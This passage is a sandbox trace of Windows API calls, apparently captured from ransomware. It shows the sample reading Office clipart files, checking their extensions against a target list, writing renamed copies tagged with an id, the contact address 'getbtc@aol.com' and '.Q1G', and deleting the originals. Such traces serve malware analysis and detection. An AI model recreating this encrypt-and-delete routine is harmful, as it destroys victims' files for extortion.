lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.019] WriteFile (in: hFile=0x3c0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.019] SetEndOfFile (hFile=0x3c0) returned 1 [0245.019] CloseHandle (hObject=0x3c0) returned 1 [0245.019] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.019] SetEndOfFile (hFile=0x3ac) returned 1 [0245.025] CloseHandle (hObject=0x3ac) returned 1 [0245.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0245.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0245.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0245.123] lstrlenW (lpString=".doc") returned 4 [0245.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.123] lstrlenW (lpString=".docx") returned 5 [0245.123] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.123] lstrlenW (lpString=".pdf") returned 4 [0245.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.123] lstrlenW (lpString=".xls") returned 4 [0245.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.123] lstrlenW (lpString=".xlsx") returned 5 [0245.123] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.123] lstrlenW (lpString=".ppt") returned 4 [0245.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0245.123] lstrlenW (lpString=".zip") returned 4 [0245.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.123] lstrlenW (lpString=".rar") returned 4 [0245.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.123] lstrlenW (lpString=".bz2") returned 4 [0245.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.123] lstrlenW (lpString=".7z") returned 3 [0245.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0245.124] lstrlenW (lpString=".dbf") returned 4 [0245.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0245.124] lstrlenW (lpString=".1cd") returned 4 [0245.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0245.124] lstrlenW (lpString=".jpg") returned 4 [0245.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0245.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0245.124] lstrlenW (lpString=".doc") returned 4 [0245.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.124] lstrlenW (lpString=".docx") returned 5 [0245.124] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.124] lstrlenW (lpString=".pdf") returned 4 [0245.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.124] lstrlenW (lpString=".xls") returned 4 [0245.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.124] lstrlenW (lpString=".xlsx") returned 5 [0245.124] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.124] lstrlenW (lpString=".ppt") returned 4 [0245.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0245.124] lstrlenW (lpString=".zip") returned 4 [0245.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.124] lstrlenW (lpString=".rar") returned 4 [0245.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.124] lstrlenW (lpString=".bz2") returned 4 [0245.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.124] lstrlenW (lpString=".7z") returned 3 [0245.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0245.124] lstrlenW (lpString=".dbf") returned 4 [0245.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0245.125] lstrlenW (lpString=".1cd") returned 4 [0245.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0245.125] lstrlenW (lpString=".jpg") returned 4 [0245.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.125] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0245.125] lstrlenW (lpString="BS00145_.WMF") returned 12 [0245.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0245.138] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1712) returned 1 [0245.138] CloseHandle (hObject=0x20c) returned 1 [0245.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x20 [0245.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0245.146] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.146] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0245.147] GetLastError () returned 0x0 [0245.147] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x6b0, lpOverlapped=0x0) returned 1 [0245.148] WriteFile (in: hFile=0x338, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0245.149] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.149] WriteFile (in: hFile=0x338, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.149] SetEndOfFile (hFile=0x338) returned 1 [0245.150] CloseHandle (hObject=0x338) returned 1 [0245.150] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.150] SetEndOfFile (hFile=0x37c) returned 1 [0245.152] CloseHandle (hObject=0x37c) returned 1 [0245.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0245.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0245.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0245.153] lstrlenW (lpString=".doc") returned 4 [0245.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.153] lstrlenW (lpString=".docx") returned 5 [0245.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.154] lstrlenW (lpString=".pdf") returned 4 [0245.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.154] lstrlenW (lpString=".xls") returned 4 [0245.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.154] lstrlenW (lpString=".xlsx") returned 5 [0245.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.154] lstrlenW (lpString=".ppt") returned 4 [0245.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0245.154] lstrlenW (lpString=".zip") returned 4 [0245.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.154] lstrlenW (lpString=".rar") returned 4 [0245.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.154] lstrlenW (lpString=".bz2") returned 4 [0245.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.154] lstrlenW (lpString=".7z") returned 3 [0245.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0245.154] lstrlenW (lpString=".dbf") returned 4 [0245.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0245.154] lstrlenW (lpString=".1cd") returned 4 [0245.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0245.154] lstrlenW (lpString=".jpg") returned 4 [0245.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0245.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0245.154] lstrlenW (lpString=".doc") returned 4 [0245.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.154] lstrlenW (lpString=".docx") returned 5 [0245.154] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.154] lstrlenW (lpString=".pdf") returned 4 [0245.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.155] lstrlenW (lpString=".xls") returned 4 [0245.155] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.155] lstrlenW (lpString=".xlsx") returned 5 [0245.155] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.155] lstrlenW (lpString=".ppt") returned 4 [0245.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0245.155] lstrlenW (lpString=".zip") returned 4 [0245.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.155] lstrlenW (lpString=".rar") returned 4 [0245.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.155] lstrlenW (lpString=".bz2") returned 4 [0245.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.155] lstrlenW (lpString=".7z") returned 3 [0245.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0245.155] lstrlenW (lpString=".dbf") returned 4 [0245.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0245.155] lstrlenW (lpString=".1cd") returned 4 [0245.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0245.155] lstrlenW (lpString=".jpg") returned 4 [0245.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.155] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0245.155] lstrlenW (lpString="BS00184_.WMF") returned 12 [0245.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0245.156] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=4976) returned 1 [0245.156] CloseHandle (hObject=0x37c) returned 1 [0245.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x20 [0245.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0245.156] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.156] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0245.157] GetLastError () returned 0x0 [0245.157] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1370, lpOverlapped=0x0) returned 1 [0245.160] WriteFile (in: hFile=0x338, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0245.161] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.161] WriteFile (in: hFile=0x338, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.161] SetEndOfFile (hFile=0x338) returned 1 [0245.161] CloseHandle (hObject=0x338) returned 1 [0245.161] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.162] SetEndOfFile (hFile=0x37c) returned 1 [0245.165] CloseHandle (hObject=0x37c) returned 1 [0245.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0245.166] lstrlenW (lpString=".doc") returned 4 [0245.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.166] lstrlenW (lpString=".docx") returned 5 [0245.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.166] lstrlenW (lpString=".pdf") returned 4 [0245.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.166] lstrlenW (lpString=".xls") returned 4 [0245.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.166] lstrlenW (lpString=".xlsx") returned 5 [0245.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.166] lstrlenW (lpString=".ppt") returned 4 [0245.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0245.166] lstrlenW (lpString=".zip") returned 4 [0245.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.166] lstrlenW (lpString=".rar") returned 4 [0245.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.166] lstrlenW (lpString=".bz2") returned 4 [0245.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.166] lstrlenW (lpString=".7z") returned 3 [0245.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0245.166] lstrlenW (lpString=".dbf") returned 4 [0245.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0245.166] lstrlenW (lpString=".1cd") returned 4 [0245.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0245.166] lstrlenW (lpString=".jpg") returned 4 [0245.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0245.167] lstrlenW (lpString=".doc") returned 4 [0245.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.167] lstrlenW (lpString=".docx") returned 5 [0245.167] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.167] lstrlenW (lpString=".pdf") returned 4 [0245.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.167] lstrlenW (lpString=".xls") returned 4 [0245.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.167] lstrlenW (lpString=".xlsx") returned 5 [0245.167] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.167] lstrlenW (lpString=".ppt") returned 4 [0245.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0245.167] lstrlenW (lpString=".zip") returned 4 [0245.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.167] lstrlenW (lpString=".rar") returned 4 [0245.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.167] lstrlenW (lpString=".bz2") returned 4 [0245.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.167] lstrlenW (lpString=".7z") returned 3 [0245.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0245.167] lstrlenW (lpString=".dbf") returned 4 [0245.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0245.167] lstrlenW (lpString=".1cd") returned 4 [0245.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0245.167] lstrlenW (lpString=".jpg") returned 4 [0245.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.167] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0245.168] lstrlenW (lpString="BS00186_.WMF") returned 12 [0245.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.170] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=12788) returned 1 [0245.170] CloseHandle (hObject=0x3a8) returned 1 [0245.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x20 [0245.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.171] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.171] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0245.172] GetLastError () returned 0x0 [0245.172] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x31f4, lpOverlapped=0x0) returned 1 [0245.177] WriteFile (in: hFile=0x37c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x3200, lpOverlapped=0x0) returned 1 [0245.178] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.178] WriteFile (in: hFile=0x37c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.178] SetEndOfFile (hFile=0x37c) returned 1 [0245.178] CloseHandle (hObject=0x37c) returned 1 [0245.178] SetFilePointerEx (in: hFile=0x3a8, 